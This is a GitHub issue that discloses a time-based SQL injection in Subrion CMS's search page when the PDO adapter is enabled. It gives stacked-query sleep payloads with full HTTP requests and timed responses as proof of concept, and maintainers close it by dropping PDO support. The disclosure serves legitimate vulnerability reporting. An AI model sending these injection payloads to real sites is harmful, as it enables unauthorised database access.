

New issue

Jump to bottom

There is a time-based sql injection if use PDO #817

Closed yundiao opened this issue on Apr 3, 2019 · 2 comments

Assignees



yundiao commented on Apr 3, 2019 · edited

I. Vulnerability Analysis

Subrion CMS supports three ways of connecting mysql: mysql, mysqli and PDO. The default is mysqli. They are executed by three files in the /includes/classes/ directory.

ia.core.mysql.php

ia.core.mysql.php

ia.core.pdo.php

If a website uses PDO connection, there will be a vulnerability.

II. Vulnerability testing

Using PDO connections requires modifying the file---- /includes/config.inc.php.

Change mysqli to pdo.

```

1 <?php
2 /*...*/
6
7 define('INTELLI_CONNECT', 'pdo'); //change mysqli to pdo
8 define('INTELLI_DBHOST', 'localhost');
9 define('INTELLI_DBUSER', 'root');
10 define('INTELLI_DBPASS', 'root');
11 define('INTELLI_DBNAME', 'subrioncms');
12 define('INTELLI_DBPORT', '3306');
13 define('INTELLI_DBPREFIX', 'sbr421_');
  
```

In the search page:

<http://cms.im/search/>

POC and testing:

/search/?q=);select%20sleep(1);--+

The screenshot shows a web browser window with the target URL <http://cms.im>. The browser's developer tools are open, showing the response to a GET request. The response is an HTTP 200 OK with a Content-Type of text/html. The HTML content shows a PDOException error message: "PDOException: SQLSTATE[42S22]: Column not found: 1054 Unknown column 'b.title' in 'where clause' in C:\phpStudy\PHPTutorial\WWW\subrion\includes\classes\ia.core.pdo.php on line 143". The error message is displayed in a table with a red background. The browser's status bar at the bottom shows "6,619 bytes | 2,231 millis".

/search/?q=);select%20sleep(5);--+

Target: http://cms.im

Request

```
GET /search/?q=);select%20sleep(5);-- HTTP/1.1
Host: cms.im
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:66.0)
Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://cms.im/
Connection: close
Cookie: INTELLI_59e56a77dd=5hklm88asqi8euhk68hfvb5q22
Upgrade-Insecure-Requests: 1
```

Response

```
HTTP/1.1 200 OK
Date: Wed, 03 Apr 2019 09:02:42 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j
mod_fcgid/2.3.9
X-Powered-By: PHP/5.6.27
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate,
post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: INTELLI_59e56a77dd=5hklm88asqi8euhk68hfvb5q22;
expires=Wed, 03-Apr-2019 09:32:42 GMT; Max-Age=1800;
path=/
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 6137
```

Done 6,619 bytes | 6,194 millis

/search/?q=);select%20sleep(10);--

Target: http://cms.im

Request

```
GET /search/?q=);select%20sleep(10);-- HTTP/1.1
Host: cms.im
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:66.0)
Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://cms.im/
Connection: close
Cookie: INTELLI_59e56a77dd=5hklm88asqi8euhk68hfvb5q22
Upgrade-Insecure-Requests: 1
```

Response

```
HTTP/1.1 200 OK
Date: Wed, 03 Apr 2019 09:04:19 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j
mod_fcgid/2.3.9
X-Powered-By: PHP/5.6.27
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate,
post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: INTELLI_59e56a77dd=5hklm88asqi8euhk68hfvb5q22;
expires=Wed, 03-Apr-2019 09:34:19 GMT; Max-Age=1800;
path=/
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 6145
```

Done 6,627 bytes | 11,248 millis

vbezruchkin assigned AleksandrPanarin on Apr 23, 2019

vbezruchkin commented on Apr 24, 2019

Member

@AleksandrPanarin please drop support for PDO. We don't have any customers who use our system with non mysql.

AleksandrPanarin pushed a commit that referenced this issue on Apr 24, 2019

#817 drop support for PDO

c29cd72

vbezruchkin pushed a commit that referenced this issue on Apr 24, 2019

#817 drop support for PDO

abc681e


vbezruchkin commented on Apr 24, 2019

Member

We decided to drop support for PDO as MySQLi seems to be the only adapter used by our customers.

Thanks



 vbezruchkin closed this as completed on Apr 24, 2019

Assignees

 AleksandrPanarin

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

3 participants

